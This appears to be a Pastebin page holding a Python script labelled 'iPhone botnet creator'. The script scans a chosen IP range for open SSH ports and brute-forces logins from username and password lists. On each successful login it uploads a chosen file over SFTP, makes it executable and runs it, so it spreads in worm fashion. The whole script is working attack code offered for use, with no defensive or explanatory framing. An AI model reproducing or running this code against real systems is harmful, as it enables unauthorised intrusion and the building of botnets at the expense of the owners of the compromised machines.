Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- #iPhone botnet creator!
- #Coded by Freak || Salamander Squad
- import itertools
- import threading
- import paramiko
- import random
- import socket
- import os
- socket.setdefaulttimeout(0.300) #wait 150 ms before moving to next ip
- def AttackSSH(ip,userlist,passlist,localpath):
- socket.setdefaulttimeout(60) #turn off timeout, this might take long.
- print "[+] Attacking IP: "+ip
- f=open(userlist,'r')
- usernames=f.read().split()
- f.close()
- f=open(passlist,'r')
- passwords=f.read().split()
- f.close()
- for user in usernames:
- for pw in passwords:
- try:
- print "[+] Trying "+user+":"+pw+" on "+ip
- ssh = paramiko.SSHClient()
- ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- except:
- print "[-] Connection failed!"
- pass
- try :
- ssh.connect(ip, username=user, password=pw)
- print "[+] "+user+":"+pw+" is valid on "+ip
- print "[+] Connected to "+ip+":22"
- while 1:
- try:
- sftp = ssh.open_sftp()
- print "[+] Uploading file..."
- remotepath='upl0ad3d'
- sftp.put(localpath, remotepath, callback=None)
- sftp.close()
- except:
- print "[-] Failed to upload file!"
- try:
- print "[+] Chmodding and executing..."
- ssh.exec_command("chmod +x "+remotepath)
- ssh_stdin, ssh_stdout, ssh_stderr = ssh.exec_command("./"+remotepath)
- except:
- print "[-] Failed to chmod or execute!"
- print "[+] Command sucessful! Output: "+ssh_stdout
- ssh.close()
- break
- except paramiko.AuthenticationException:
- print "[-] Failed! on "+ip
- pass
- socket.setdefaulttimeout(0.300) #turn timeout back on, resume scanning.
- def generate_ip_range(input_string): # skidded off of http://stackoverflow.com/questions/20525330/
- octets = input_string.split('.')
- chunks = [map(int, octet.split('-')) for octet in octets]
- ranges = [range(c[0], c[1] + 1) if len(c) == 2 else c for c in chunks]
- for address in itertools.product(*ranges):
- yield '.'.join(map(str, address))
- def Worm(userlist,passlist,ipRange,localpath):
- for ip in generate_ip_range(ipRange):
- try:
- print "[+] Scanning "+ip+":22 "
- print "\033[2A" #epic ANSI code :P
- s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- s.connect((ip,22)) #Make sure host is up and SSH is open.
- s.close()
- print "[+] Port 22 (SSH) is open on "+ip
- AttackSSH(ip,userlist,passlist,localpath)
- except:
- pass
- def Main():
- userlist=raw_input("Userlist: ")
- passlist=raw_input("Password list: ")
- localpath=raw_input("Local path for UPX file: ")
- if raw_input("Worm mode? (y/n): ")=="y":
- ipRange = raw_input("IP Range (ex. 192.168.1-2.1-256): ")
- try:
- print "[+] Started scanning..."
- Worm(userlist,passlist,ipRange,localpath)
- except:
- print "[-] Failed! Critical error! "
- pass
- print "[+] Scanning finished! "
- else:
- AttackSSH(raw_input("Target IP: "),userlist,passlist,localpath)
- Main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement